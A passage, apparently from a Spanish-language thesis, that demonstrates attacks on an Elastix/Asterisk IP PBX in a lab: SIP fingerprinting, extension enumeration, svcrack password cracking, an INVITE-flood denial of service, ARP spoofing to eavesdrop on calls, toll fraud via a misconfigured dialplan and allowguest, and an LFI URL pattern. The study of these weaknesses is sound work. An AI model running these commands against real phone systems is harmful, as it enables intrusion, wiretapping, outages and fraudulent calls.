Cyrus imapd
995/tcp open
pop3
Cyrus pop3d
3306/tcp open
mysql
MySQL (unauthorized)
4445/tcp open
upnotifyp?
111/udp open
rpcbind 2 (RPC #100000)
5060/udp open
sip
Asterisk 1.6.2.10
Device type: general purpose
Running: Linux 2.4.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
cpe:/o:linux:linux_kernel:3
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2
Service Info: Device: PBX
C&oacute;digo 2.2 Resultado de escaneo con nmap
Tal como se ilustra en el C&oacute;digo 2.2, la prueba realizada desde la m&aacute;quina del
atacante permite determinar que en la PBX IP se encuentra abierto el puerto
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5060, mediante el que se ofrece un servicio SIP, que se implementa mediante la
versi&oacute;n 1.6.2.10 de Asterisk.
2.3.4 FINGERPRINTING
Fingerprinting es un proceso que permite conocer, a trav&eacute;s de la red, el sistema
operativo que se ejecuta en un equipo o el servicio que funciona en cierto puerto,
as&iacute; como sus correspondientes versiones. El objetivo de este ataque es
caracterizar a la v&iacute;ctima para usar la informaci&oacute;n obtenida en un ataque m&aacute;s
directo que se realiza posteriormente. Esta informaci&oacute;n podr&iacute;a servir, por ejemplo,
para encontrar en Internet las vulnerabilidades m&aacute;s comunes asociadas a un
sistema operativo o servicio.
Escenario
El escenario para analizar el proceso de fingerprinting es el escenario b&aacute;sico
descrito previamente, conformado por:
&middot;
M&aacute;quina Atacante
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
El ataque de fingerprinting, en este caso, se realiza con la herramienta svmap, y
consiste en un escaneo similar al que se puede realizar con la herramienta nmap.
La diferencia es que svmap es una herramienta orientada a servicios de telefon&iacute;a
IP y, por ello, podr&iacute;a obtener informaci&oacute;n m&aacute;s espec&iacute;fica.
Implementaci&oacute;n de obtenci&oacute;n de informaci&oacute;n usando svmap
La herramienta svmap de SipVicious permite determinar el servicio de telefon&iacute;a IP
implementado en un dispositivo. Esta informaci&oacute;n se obtiene del campo UserAgent que es parte de los mensajes SIP con los que el servicio de telefon&iacute;a
responde a las correspondientes peticiones.
root@kali:~# svmap 172.31.38.137
| SIP Device
| User Agent
| Fingerprint |
-----------------------------------------------------------| 172.31.38.137:5060 |
FPBX-2.8.1(1.8.7.0) | disabled
C&oacute;digo 2.3 Ejemplo de uso de la herramienta svmap
|
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En el C&oacute;digo 2.3, se puede observar que la herramienta svmap permite descubrir
que el servicio de telefon&iacute;a IP ejecut&aacute;ndose en la v&iacute;ctima es FreePBX, y que su
versi&oacute;n es la 2.8.1 (que se utiliz&oacute; para la versi&oacute;n 2.3.0 e inferiores de Elastix).
Esta informaci&oacute;n es m&aacute;s espec&iacute;fica que la obtenida mediante el comando nmap.
Una etapa posterior a la de fingerprinting podr&iacute;a concentrarse en buscar
vulnerabilidades de las versiones de los servicios encontrados e incluso los
exploits correspondientes que seguramente ya estar&aacute;n disponibles.
Como se observa en la Figura 2.2, una simple b&uacute;squeda en Internet arroja
informaci&oacute;n sobre vulnerabilidades en FreePBX y se obtienen diferentes casos
[39]. Un atacante podr&iacute;a f&aacute;cilmente utilizar estos recursos para realizar ataques
m&aacute;s espec&iacute;ficos.
Figura 2.2 Casos obtenidos para la b&uacute;squeda de vulnerabilidades en FreePBX
2.3.5 ENUMERACI&Oacute;N
La enumeraci&oacute;n, en el caso de la telefon&iacute;a IP, es un proceso que permite obtener
una lista de las extensiones que existen en la central. Usualmente el t&eacute;rmino
extensi&oacute;n se utiliza para identificar a los terminales telef&oacute;nicos asociados a una
PBX IP. De manera general, las extensiones son valores num&eacute;ricos que marcan
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los usuarios para llamar a un terminal. En telefon&iacute;a IP, estos valores se suelen
usar tambi&eacute;n como identificadores de las cuentas que permiten registrarse a los
terminales. Un atacante podr&iacute;a luego usar esos n&uacute;meros para focalizar un ataque
de fuerza bruta que intente averiguar las contrase&ntilde;as asociadas a esos
identificadores. La informaci&oacute;n de las extensiones es valiosa pues es com&uacute;n que
estos n&uacute;meros sean usados tambi&eacute;n como contrase&ntilde;as de acceso para los
terminales en la PBX IP.
Escenario
&middot;
M&aacute;quina Atacante (Kali Linux)
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
La herramienta que se utiliza para implementar el ataque de enumeraci&oacute;n es
svwar que es parte del kit SipVicious y permite identificar los n&uacute;meros de las
extensiones habilitadas en una PBX IP.
Implementaci&oacute;n de enumeraci&oacute;n
La herramienta svwar utiliza un diccionario (lista de n&uacute;meros de extensiones) y
prueba cada elemento de ese diccionario contra una PBX IP basada en SIP. Su
objetivo es determinar si alguno de los elementos (n&uacute;meros) de esa lista
corresponde a un n&uacute;mero de extensi&oacute;n registrado en la central telef&oacute;nica. Ya que
los n&uacute;meros que se asignan com&uacute;nmente a las extensiones se encuentran en
rangos conocidos (100-10000), la probabilidad de &eacute;xito de la enumeraci&oacute;n es alta.
Svwar puede determinar si un n&uacute;mero dado es una extensi&oacute;n creada en una PBX
IP gracias a que algunas soluciones (como Asterisk) permiten una configuraci&oacute;n
que hace que la PBX IP rechace con mensajes distintos las peticiones de registro
de extensiones que existen y las peticiones desde extensiones que no existen. De
esa manera, svwar solo interpreta las respuestas de reject distintas y puede
concluir si el n&uacute;mero probado es una extensi&oacute;n existente en la PBX IP.
Adem&aacute;s svwar funciona enviando 3 tipos de peticiones SIP a la v&iacute;ctima: register
(por defecto), options e invite.
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Para ejecutar svwar se le pasa como argumento el rango de extensiones a
probar, el tipo de solicitud y la direcci&oacute;n IP de la v&iacute;ctima, tal como se puede ver en
el C&oacute;digo 2.4.
La enumeraci&oacute;n no tiene &eacute;xito cuando los mensajes de rechazo (reject) que
genera la PBX IP frente a una autenticaci&oacute;n fallida son iguales ya sea que la
extensi&oacute;n que genera la petici&oacute;n exista o no.
root@kali:~# svwar -e100-200 172.31.38.137 -m invite
WARNING:TakeASip:using an INVITE scan on an endpoint (i.e. SIP
phone) may cause it to ring and wake up people in the middle of
the night
| Extension | Authentication |
-----------------------------| 115
| reqauth
|
| 114
| reqauth
|
| 117
| reqauth
|
| 116
| reqauth
|
| 111
| reqauth
|
| 110
| reqauth
|
| 113
| reqauth
|
| 112
| reqauth
|
| 119
| weird
|
| 118
| weird
|
| 503
| reqauth
|
| 120
| weird
|
| 108
| reqauth
|
| 109
| reqauth
|
| 102
| reqauth
|
| 103
| reqauth
|
| 100
| reqauth
|
| 101
| reqauth
|
| 106
| reqauth
|
| 107
| reqauth
|
| 104
| reqauth
|
| 105
| reqauth
|
C&oacute;digo 2.4 Resultado herramienta svwar
Como resultado de la ejecuci&oacute;n de la herramienta svwar, se puede observar en el
C&oacute;digo 2.4 que se obtiene una lista con los n&uacute;meros de extensi&oacute;n encontrados en
la PBX IP v&iacute;ctima. Adem&aacute;s, se indica si la extensi&oacute;n encontrada tiene una
contrase&ntilde;a asignada (reqauth) o si no la tiene (weird).
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2.4 EXPLOTACI&Oacute;N
La explotaci&oacute;n es un proceso mediante el que un atacante intenta aprovechar las
vulnerabilidades de un sistema con diversos fines, por ejemplo obtener acceso
remoto al equipo de la v&iacute;ctima o evitar que usuarios leg&iacute;timos usen el servicio, etc.
De este modo se intenta romper contrase&ntilde;as, escuchar tr&aacute;fico, entre otros con las
herramientas adecuadas.
2.4.1 ATAQUE DE FUERZA BRUTA [40]
El ataque de fuerza bruta es una t&eacute;cnica que se basa en probar todas las
combinaciones posibles de palabras de un diccionario para adivinar la contrase&ntilde;a
de acceso de un usuario a un sistema. En el caso de la telefon&iacute;a IP, el sistema es
la PBX IP y el objetivo del ataque de fuerza bruta ser&iacute;a determinar la contrase&ntilde;a
asociada a un n&uacute;mero de extensi&oacute;n. Al poseer el n&uacute;mero de extensi&oacute;n (usado
como identificador del terminal) y su contrase&ntilde;a, un atacante podr&iacute;a registrar su
propio terminal en la PBX IP y usar los servicios que &eacute;sta le ofrece.
Escenario
&middot;
M&aacute;quina Atacante (Kali Linux)
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
La herramienta que se utiliza para el ataque de fuerza bruta es svcrack parte del
kit de Sipvicious.
Implementaci&oacute;n del Ataque de Fuerza Bruta
Para ejecutar el ataque de fuerza bruta con objetivo de encontrar las contrase&ntilde;as
de un conjunto de extensiones de una PBX IP, se usa la herramienta svcrack
desde la m&aacute;quina del atacante. svcrack utiliza un diccionario de posibles
contrase&ntilde;as, cada una de las cuales va probando autom&aacute;ticamente en el proceso
de registro de cada una de un conjunto de extensiones sobre la PBX IP. Este
proceso se repite hasta que la contrase&ntilde;a se encuentre o hasta que no queden
m&aacute;s elementos (contrase&ntilde;as) en el diccionario para probar.
Ya que es com&uacute;n usar contrase&ntilde;as muy d&eacute;biles, la probabilidad de &eacute;xito de este
ataque se incrementa significativamente aunque, como cualquier ataque de fuerza
bruta, resulta muy intrusivo y f&aacute;cil de detectar.
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svcrack b&aacute;sicamente hace las siguientes pruebas para determinar la contrase&ntilde;a
de un n&uacute;mero de extensi&oacute;n:
-
Prueba si la contrase&ntilde;a es el mismo n&uacute;mero de extensi&oacute;n.
-
Prueba si la extensi&oacute;n no tiene contrase&ntilde;a.
-
Prueba si alguna de las palabras del diccionario utilizado corresponde a la
contrase&ntilde;a de alguna extensi&oacute;n.
root@kali:~# svcrack -u102
172.31.38.137
ERROR:ASipOfRedWine:We got an unknown response
| Extension | Password |
-----------------------| 102
| 102
|
C&oacute;digo 2.5 Respuesta de svcrack con argumento por defecto
En el C&oacute;digo 2.5 se observa el comportamiento por defecto de svcrack al
determinar si la extensi&oacute;n 102 tiene como contrase&ntilde;a el mismo n&uacute;mero de
extensi&oacute;n. En este caso se puede ver que s&iacute;.
root@kali:~# svcrack -u119
172.31.38.137
ERROR:ASipOfRedWine:We got an unknown response
| Extension | Password
|
----------------------------| 119
| [no password] |
C&oacute;digo 2.6 Respuesta de svcrack con argumento por defecto
En el C&oacute;digo 2.6, se observa el resultado del ataque que determina que la
extensi&oacute;n 119 no tiene una contrase&ntilde;a asignada.
root@kali:~# svcrack -u108 -d dictionary.txt 172.31.38.137
ERROR:ASipOfRedWine:We got an unknown response
| Extension | Password
|
-------------------------| 108
| cientoocho |
C&oacute;digo 2.7 Resultado de svcrack usando diccionario
Finalmente, en el C&oacute;digo 2.7, al usar un diccionario, se observa c&oacute;mo svcrack
logra determinar la contrase&ntilde;a de la extensi&oacute;n 108. Esto, gracias a que dicha
contrase&ntilde;a, muy sencilla se encuentra en el diccionario utilizado.
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2.4.2 DENEGACI&Oacute;N DE SERVICIOS [41]
La denegaci&oacute;n de servicio (DoS) es un ataque cuyo prop&oacute;sito es inutilizar un
sistema evitando el acceso de usuarios leg&iacute;timos a sus servicios o recursos.
Generalmente, este ataque se implementa mediante la generaci&oacute;n excesiva de
peticiones (inundaci&oacute;n) que saturan los recursos de la v&iacute;ctima. En telefon&iacute;a IP se
podr&iacute;a utilizar una inundaci&oacute;n de peticiones INVITE del protocolo SIP. Al saturar
los recursos de una PBX IP, un terminal telef&oacute;nico no podr&iacute;a, por ejemplo, recibir
ni realizar llamadas mediante la central.
Escenario
&middot;
M&aacute;quina Atacante (Kali Linux)
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
La denegaci&oacute;n de servicio se ejecuta desde la maquina Kali Linux sobre la PBX
IP, utilizando la herramienta inviteflood.
Implementaci&oacute;n del ataque de Denegaci&oacute;n de Servicio
inviteflood se utiliza para provocar una inundaci&oacute;n de mensajes INVITE sobre la
v&iacute;ctima. Los par&aacute;metros que se pasan a la herramienta son: la extensi&oacute;n hacia la
que se dirigen los mensajes INVITE, la interfaz de red (de la m&aacute;quina atacante)
por la que se genera la inundaci&oacute;n, la direcci&oacute;n IP origen y destino de las
peticiones, y el n&uacute;mero de peticiones que conformar&aacute;n la inundaci&oacute;n.
root@kali:~# inviteflood eth0 100 172.31.38.195 172.31.38.137 500000
inviteflood - Version 2.0
June 09, 2006
source IPv4 addr:port
= 172.31.38.181:9
dest
= 172.31.38.137:5060
IPv4 addr:port
targeted UA
= [email protected]
Flooding destination with 500000 packets
sent: 500000
C&oacute;digo 2.8 Resultado al ejecutar inviteflood
En el C&oacute;digo 2.8, se observa la ejecuci&oacute;n del ataque con la herramienta
inviteflood. Con el fin de verificar la realizaci&oacute;n del ataque es posible capturar el
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tr&aacute;fico generado por la inundaci&oacute;n utilizando la herramienta Wireshark. En la
Figura 2.3 se ilustra la gran cantidad de mensajes INVITE generadas en el
atacante hacia la v&iacute;ctima. Este gr&aacute;fico se interpreta a partir de la captura de tr&aacute;fico
realizada.
Figura 2.3 Env&iacute;o de solicitudes invite desde m&aacute;quina atacante
Para comprobar que el ataque tiene &eacute;xito se genera una interacci&oacute;n con la PBX
IP, tratando de hacer una llamada desde un terminal registrado. Al hacerlo, la
central telef&oacute;nica no es capaz de establecer la llamada ya que sus recursos est&aacute;n
saturados.
En la consola de Asterisk, sobre la que funciona Elastix, se observan mensajes
que alertan sobre esta eventualidad como se observa en la Figura 2.4.
Figura 2.4 Mensajes de congesti&oacute;n en la consola de Asterisk
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2.4.3 ESPIONAJE DE LLAMADAS
Espionaje de llamadas o escuchas no autorizadas es conocido por su t&eacute;rmino en
ingl&eacute;s, eavesdroping. El espionaje en telefon&iacute;a IP consiste en capturar el tr&aacute;fico
de los paquetes de voz que viajan en la red entre dos terminales que
establecieron una llamada. Luego esta informaci&oacute;n se decodifica y un atacante
podr&iacute;a enterarse de lo que la conversaci&oacute;n se trat&oacute;.
Escenario
&middot;
M&aacute;quina Atacante (Kali Linux)
&middot;
PBX IP v&iacute;ctima (funcionando con Elastix 2.0.0)
&middot;
Terminal telef&oacute;nico conectado a la central telef&oacute;nica.
Implementaci&oacute;n del Ataque de Espionaje
Para llevar a cabo el ataque de espionaje de una conversaci&oacute;n telef&oacute;nica, se
requiere tener acceso al flujo de paquetes de voz. En una red local, esto es
posible mediante otro ataque llamado de “Hombre en el Medio” que consiste en
que el atacante se coloca entre uno de los terminales y la central telef&oacute;nica.
Luego de eso, la captura del tr&aacute;fico se puede realizar con Wireshark, por ejemplo.
El ataque de hombre en el medio se consigue envenenando las tablas ARP del
terminal telef&oacute;nico y de la PBX IP para que las comunicaciones entre ellos se
env&iacute;en a trav&eacute;s del atacante, que se convierte en un peque&ntilde;o router.
Este envenenamiento se realiza utilizando la herramienta arpspoof incluida en la
distribuci&oacute;n Kali Linux, y luego el tr&aacute;fico se captura utilizando Wireshark. Esta
misma herramienta tiene opciones para decodificar la voz incluida en los paquetes
capturados.
En primera instancia, se habilita la funcionalidad de enrutamiento en la m&aacute;quina
del atacante como se indica en el C&oacute;digo 2.9.
root@kali:~# echo 1 &gt; /proc/sys/net/ipv4/ip_forward
C&oacute;digo 2.9 Comando para activar el enrutamiento IP en el atacante
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Para verificar el estado actual de las tablas ARP de las v&iacute;ctimas (PBX IP y
terminal telef&oacute;nico) se puede utilizar el comando arp –a. Luego, para verificar que
estas tablas han sido envenenadas con la direcci&oacute;n MAC del atacante, se puede
utilizar nuevamente este comando.
El envenenamiento ARP se implementa mediante los comandos indicados en el
C&oacute;digo 2.10.
root@kali:~# arpspoof -t 172.31.38.195 172.31.38.137
0:c:29:38:1f:60 2c:44:fd:e:2b:39 0806 42: arp reply 172.31.38.137 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 2c:44:fd:e:2b:39 0806 42: arp reply 172.31.38.137 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 2c:44:fd:e:2b:39 0806 42: arp reply 172.31.38.137 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 2c:44:fd:e:2b:39 0806 42: arp reply 172.31.38.137 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 2c:44:fd:e:2b:39 0806 42: arp reply 172.31.38.137 is-at 0:c:29:38:1f:60
root@kali:~# arpspoof -t 172.31.38.137 172.31.38.195
0:c:29:38:1f:60 0:c:29:68:f1:81 0806 42: arp reply 172.31.38.195 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 0:c:29:68:f1:81 0806 42: arp reply 172.31.38.195 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 0:c:29:68:f1:81 0806 42: arp reply 172.31.38.195 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 0:c:29:68:f1:81 0806 42: arp reply 172.31.38.195 is-at 0:c:29:38:1f:60
0:c:29:38:1f:60 0:c:29:68:f1:81 0806 42: arp reply 172.31.38.195 is-at 0:c:29:38:1f:60
C&oacute;digo 2.10 Comandos para envenenamiento ARP en ambos sentidos
Los par&aacute;metros que se pasan a la herramienta arpspoof son solamente la
direcci&oacute;n IP de las dos v&iacute;ctimas. Como se observa, el ataque consiste en enviar
muchos mensajes de tipo ARP REPLY a las v&iacute;ctimas con la informaci&oacute;n que
envenena las tablas ARP. Finalmente, en la tabla MAC de cada v&iacute;ctima, la
direcci&oacute;n de la otra estar&aacute; asociada a la direcci&oacute;n MAC del atacante. Con ello,
cada vez que el terminal quiera comunicarse mediante la PBX IP, enviar&aacute;n el
tr&aacute;fico al atacante, lo que implica que &eacute;ste estar&aacute; en el medio de estas
comunicaciones.
Una vez ejecut&aacute;ndose el ataque de hombre en el medio, desde la m&aacute;quina
atacante se captura el tr&aacute;fico de la interfaz de red, para luego decodificar el tr&aacute;fico
correspondiente a la voz transmitida.
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Pruebas y evaluaci&oacute;n del ataque
Mientras se est&aacute; ejecutando el ataque, en la salida del comando arp –a, (ver
C&oacute;digo 2.11) se observa la tabla ARP de la m&aacute;quina donde est&aacute; funcionando el
terminal de telefon&iacute;a (un softphone). Como se ve, la direcci&oacute;n MAC asociada a la
direcci&oacute;n IP de la central telef&oacute;nica es la direcci&oacute;n MAC del atacante.
Microsoft Windows [Versi&oacute;n 6.3.9600]
(c) 2013 Microsoft Corporation. Todos los derechos reservados.
C:\Users\Usuario&gt;arp -a
Interfaz: 172.31.38.195 --- 0xb
Direcci&oacute;n de Internet
Direcci&oacute;n f&iacute;sica
Tipo
172.31.38.137
00-0c-29-38-1f-60
PBX IP v&iacute;ctima
172.31.38.146
00-25-9c-c8-dd-f8
din&aacute;mico
172.31.38.181
00-0c-29-38-1f-60
M&aacute;quina Atacante
172.31.38.209
c4-54-44-5a-fe-25
din&aacute;mico
C&oacute;digo 2.11 Tabla ARP en el terminal telef&oacute;nico durante el ataque de espionaje
Para espiar una conversaci&oacute;n telef&oacute;nica que se origine en el terminal
envenenado, se empieza a capturar el tr&aacute;fico de la interfaz de red en la m&aacute;quina
del atacante usando Wireshark (ver Figura 2.5). Luego, esa herramienta permite
filtrar el tr&aacute;fico RTP, y tambi&eacute;n decodificarlo (en la opci&oacute;n Telefon&iacute;a &agrave; Llamadas
VoIP, ver Figura 2.6). Del mismo modo, se pueden observar gr&aacute;ficamente las
interacciones realizadas entre el terminal y la PBX IP (ver Figura 2.7), todo en
base a la informaci&oacute;n capturada desde el atacante.
Figura 2.5 Captura de tr&aacute;fico con Wireshark durante el ataque de espionaje
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Figura 2.6 Audio capturado por Wireshark
Figura 2.7 Gr&aacute;fico con intercambio de mensajes capturado en ataque de espionaje
2.4.4 VULNERABILIDAD EN PLAN DE MARCADO
Ya que el plan de marcado es el coraz&oacute;n de la PBX IP donde se asignan recursos
a sus usuarios (tanto internos como externos), una incorrecta configuraci&oacute;n podr&iacute;a
permitir un uso inadecuado de esos recursos. Por ejemplo, podr&iacute;a permitir que
usuarios externos no autorizados llamen a la PBX IP y de ah&iacute; saquen llamadas a
destinos costosos (redes m&oacute;viles o internacionales). Si la PBX IP est&aacute; publicada
en Internet, este riesgo es mayor pues la cantidad de posibles atacantes aumenta
significativamente.
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En Asterisk, el plan de marcado se configura en un archivo de texto que se divide
en secciones conocidas como contextos. Cada contexto define una serie de
instrucciones que determinan c&oacute;mo se procesar&aacute; una llamada entrante en
funci&oacute;n, por ejemplo, de los d&iacute;gitos que haya marcado un usuario. Estos contextos
se suelen organizar con el fin de asignar restricciones a los distintos tipos de
usuarios de la red telef&oacute;nica (gerentes, personal t&eacute;cnico, personal administrativo,
usuarios externos) para llamar a distintos destinos (emergencia, celulares,
locales, internacionales) identificados mediante prefijos. De este modo, en los
contextos de los tipos de usuario se incluyen los contextos de los destinos, de
acuerdo a la jerarqu&iacute;a de dicho usuario. Por ejemplo, en el contexto gerentes
probablemente se incluir&aacute;n todos los contextos para llamadas salientes, mientras
que para un tipo de usuario de menor jerarqu&iacute;a se incluir&aacute; solamente los
contextos de llamadas de emergencia y llamadas locales.
Sin embargo, si la estructura descrita no se respeta, la configuraci&oacute;n del plan de
marcado podr&iacute;a terminar permitiendo que un usuario externo (que llama por la
PSTN) use sin autorizaci&oacute;n otra troncal para sacar llamadas a otros destinos [42].
Estas llamadas representar&iacute;an un costo no presupuestado para la instituci&oacute;n
due&ntilde;a de la infraestructura vulnerable, mientras que el atacante solo pagar&iacute;a la
llamada hacia la PBX IP si llega mediante la PSTN, o nada si llega mediante
Internet.
Escenario
El escenario, m&aacute;s o menos descrito previamente, est&aacute; conformado por:
&middot;
Un atacante ubicado en la PSTN que llama a la PBX IP desde su tel&eacute;fono
celular
&middot;
PBX IP con Asterisk con un plan de marcado vulnerable y p&uacute;blicamente
accesible desde la PSTN
&middot;
Dos gateways telef&oacute;nicos que permiten a la PBX IP conectarse con la red
de telefon&iacute;a celular usando dos l&iacute;neas
El atacante usar&aacute; su terminal (un tel&eacute;fono m&oacute;vil) para llamar a la PBX IP
conectada a la red m&oacute;vil mediante una base celular. Aprovechando la
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vulnerabilidad en el plan de marcado, el atacante podr&aacute; sacar una llamada a
otro destino desde la PBX IP usando otra troncal (otra base celular).
Implementaci&oacute;n del ataque
El ataque se basa en un plan de marcado vulnerable. Este plan de marcado se
muestra en el C&oacute;digo 2.12.
[default]
exten =&gt; entrada,1,Answer()
same =&gt; n,Playback(hello-world)
same =&gt; n,WaitExten(10)
exten
=&gt; 1,1,Dial(SIP/0000FFFF0001,10)
same =&gt; n,Hangup()
exten
=&gt; 2,1,Dial(SIP/0000FFFF0002,10)
same =&gt; n,Hangup()
exten
=&gt; _09XXXXXXXX,1,Dial(SIP/ht503fxo1/${EXTEN})
same =&gt; n,Hangup()
C&oacute;digo 2.12 Plan de marcado vulnerable
En el plan de marcado vulnerable se observa la extensi&oacute;n entrada a la que le
llegan las llamadas desde la PSTN. Luego de contestar (Answer) una llamada
desde la PSTN, la PBX IP reproduce un mensaje de bienvenida (Playback).
Finalmente, la PBX IP espera (WaitExten) que el usuario marque una opci&oacute;n para
conectarse con un tel&eacute;fono interno. Entre las opciones que tiene para marcar
est&aacute;n 1 o 2.
Adem&aacute;s, en el plan de marcado, en el mismo contexto, se ha configurado la
extensi&oacute;n con patr&oacute;n de marcado _09XXXXXXXX que permite sacar las llamadas
a celular (usando el gateway ht503fxo1) que podr&iacute;an necesitar los usuarios
internos. Sin embargo, se puede notar que ambas extensiones se encuentran en
el mismo contexto. Esto implica que, cuando un usuario externo llame, su llamada
(entrante) se procesar&aacute; en el mismo contexto que las llamadas salientes (a
celular). Es as&iacute; que, cuando se le pida que digite una opci&oacute;n, el llamante externo
podr&iacute;a marcar un n&uacute;mero que siga el patr&oacute;n de marcado _09XXXXXXXX (un
n&uacute;mero celular), y sacar la llamada utilizando otra troncal.
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Para poner en evidencia est&aacute; vulnerabilidad, se ha conectado una PBX IP con
Asterisk (y un plan de marcado mal configurado) a una red junto con 2 gateways
conectados a dos l&iacute;neas celulares. El plan de marcado permite las llamadas
entrantes a trav&eacute;s de uno de los gateways que le da acceso al usuario a un
servicio de respuesta interactiva.
Pruebas y evaluaci&oacute;n
Para evaluar esta vulnerabilidad, la prueba es muy sencilla. Se llama a la central
telef&oacute;nica a trav&eacute;s de una de las troncales conectadas a uno de los gateways.
Luego de escuchar la bienvenida, la central telef&oacute;nica espera que se marque una
opci&oacute;n. En lugar de marcar 1 o 2, se marca otro n&uacute;mero (un n&uacute;mero celular, por
ejemplo). Al hacerlo, la llamada sale hacia el n&uacute;mero marcado porque los
contextos de llamadas entrantes y salientes no hab&iacute;an sido separados.
En la consola de Asterisk, se observan los logs de la prueba (ver Figura 2.8), y se
aprecia c&oacute;mo la llamada entra a trav&eacute;s del gateway identificado como ht503fxo, y
luego sale hacia el n&uacute;mero 0992927020 utilizando el gateway ht503fxo1. Si la
llamada saliente se realiza hacia un n&uacute;mero internacional, tiene m&aacute;s sentido para
el atacante.
LLAMADA ENTRANTE
LLAMADA SALIENTE
CIERRE DE LLAMADA
Figura 2.8 Logs de la prueba realizada
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Otro par&aacute;metro en la configuraci&oacute;n de la plataforma Asterisk que puede causar
serios problemas es allowguest en el archivo sip.conf. Se trata de un
par&aacute;metro que viene configurado por defecto en “yes”, que permite que
terminales telef&oacute;nicos puedan hacer uso de los recursos de la PBX IP en calidad
de invitados. Los invitados son terminales que no necesitan utilizar un
identificador o una contrase&ntilde;a registrados para que sus llamadas sean
procesadas por la PBX. Estas llamadas son atendidas por el contexto definido en
la secci&oacute;n [general] del archivo sip.conf. En resumen, este par&aacute;metro podr&iacute;a
permitir, por ejemplo, que usuarios que se conectan mediante Internet
(posiblemente clientes) puedan llamar a una instituci&oacute;n mediante su PBX IP sin
tener que autenticar su terminal, lo cual parece &uacute;til. Sin embargo, si el contexto
(en el plan de marcado) en el que se procesan estas llamadas es un contexto con
acceso a recursos externos, un terminal invitado podr&iacute;a utilizar estos recursos
para sacar llamadas a trav&eacute;s de troncales de pago.
Esto se puede demostrar con la implementaci&oacute;n b&aacute;sica de un PBX IP que tenga
conexi&oacute;n a la PSTN, un plan de marcado mal configurado y allowguest
habilitado en yes.
Escenario
&middot;
Un atacante ubicado en Internet que crea un cuenta vinculada a la PBX IP
mediante el uso de un terminal (softphone)
&middot;
PBX IP con Asterisk, con un plan de marcado vulnerable, y con la
configuraci&oacute;n del par&aacute;metro allowguest en yes
&middot;
Un gateway telef&oacute;nico que permite a la PBX IP conectarse con la red de
telefon&iacute;a celular usando una troncal
En este escenario, un atacante configurar&aacute; su terminal telef&oacute;nico (softphone)
apuntando a la PBX IP vulnerable y usando un identificador y contrase&ntilde;a
cualquiera y, aunque no se registrar&aacute; en ella (porque las credenciales no
corresponden), podr&aacute; hacer llamadas de acuerdo a las instrucciones del contexto
definido en la secci&oacute;n [general] del archivo sip.conf. Debido a que este contexto
contiene instrucciones que permiten sacar llamadas, el atacante podr&aacute; aprovechar
dichos recursos.
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Implementaci&oacute;n del ataque
Para la implementaci&oacute;n se configura un plan de marcado vulnerable (ver C&oacute;digo
2.13) con un &uacute;nico contexto que permite salida de llamadas. Adem&aacute;s se configura
el par&aacute;metro allowguest con su valor en “yes”, definido en la secci&oacute;n [general]
en el archivo sip.conf (ver C&oacute;digo 2.14).
[default]
exten =&gt; entrada,1,Answer()
same =&gt; n,Playback(hello-world)
same =&gt; n,WaitExten(10)
exten
=&gt; 1,1,Dial(SIP/0000FFFF0001,10)
same =&gt; n,Hangup()
exten
=&gt; 2,1,Dial(SIP/0000FFFF0002,10)
same =&gt; n,Hangup()
exten
=&gt; _09XXXXXXXX,1,Dial(SIP/ht503fxo1/${EXTEN})
same =&gt; n,Hangup()
C&oacute;digo 2.13 Plan de marcado vulnerable
Este archivo posee una secci&oacute;n llamada [general] en la que se describe los
par&aacute;metros globales que se aplican para el resto de canales.
[general]
context=default
updbindaddr=yes
disallow=all
allow=alaw,gsm
allowguest=yes
C&oacute;digo 2.14 Configuraci&oacute;n por defecto de allowguest
Cabe resaltar que en el C&oacute;digo 2.14, el contexto default es aquel en el que el
plan de marcado manejar&aacute; las llamadas generadas por los terminales invitados.
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Pruebas y evaluaci&oacute;n
Para probar este ataque es necesario que un “usuario invitado” desde un
softphone cree una cuenta vinculada a la direcci&oacute;n IP de la PBX IP, desde la cual
se intentar&aacute; realizar una llamada a un n&uacute;mero celular utilizando la troncal de la
PBX IP que conecta con la PSTN.
En la consola de Asterisk se observa los intentos de registro (ver Figura 2.9) del
terminal con la cuenta “usuario invitado” que indica que la contrase&ntilde;a es
equivocada, ya que no existe el canal correspondiente en el archivo sip.conf.
Figura 2.9 Intentos de registro de cuenta “usuario invitado”
Luego, a pesar de que no se ha podido registrar el terminal invitado, se intenta
una llamada. Esta llamada tiene &eacute;xito, como se puede observar en el C&oacute;digo 2.10,
y sale a trav&eacute;s del canal ht503fxo1. Esto es posible ya que el contexto default
(que atiende las llamadas de los invitados) contiene una instrucci&oacute;n que permite
sacar llamadas mediante el canal ht503fxo1. Esto demuestra c&oacute;mo un usuario
invitado podr&iacute;a aprovechar recursos telef&oacute;nicos de la PBX IP por la configuraci&oacute;n
inadecuada del plan de marcado.
Figura 2.10 Llamada generada por “usuario invitado”
2.4.5 INCLUSI&Oacute;N DE ARCHIVOS LOCALES (LFI)
La inclusi&oacute;n de archivos locales permite incluir archivos que no se encuentran en
el directorio de publicaci&oacute;n del servidor web, por medio de una URL (ver C&oacute;digo
2.15). Esto se da por errores en su programaci&oacute;n como falta de filtraci&oacute;n y
validaci&oacute;n en los par&aacute;metros que ingresa el usuario, as&iacute; como el inadecuado uso
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de funciones que hacen referencia a objetos externos, como referencias de
archivos del sistema, para el completo funcionamiento del servidor web.
http://servidor/m&oacute;dulo_LFI.php?pagina=../conf/inlcuir.conf
http://servidor/
Servidor al que se desea ingresar.
m&oacute;dulo_LFI.php? M&oacute;dulo vulnerable a LFI
?pagina=
Esta variable permite incluir los archivos
que se desea ver
../conf/incluir.conf
Escenario
Archivo que existe en el servidor web.
C&oacute;digo 2.15 Ejemplo LFI
Escenario
El escenario, que se debe implementar para ejecutar el ataque, est&aacute; conformado
por:
&middot;
Un atacante ubicado remotamente con acceso a un navegador de Internet
(Google Chrome, Opera &oacute; Mozilla)
&middot;
PBX IP con Elastix (2.0.0) que integra el servicio VTigerCRM por defecto
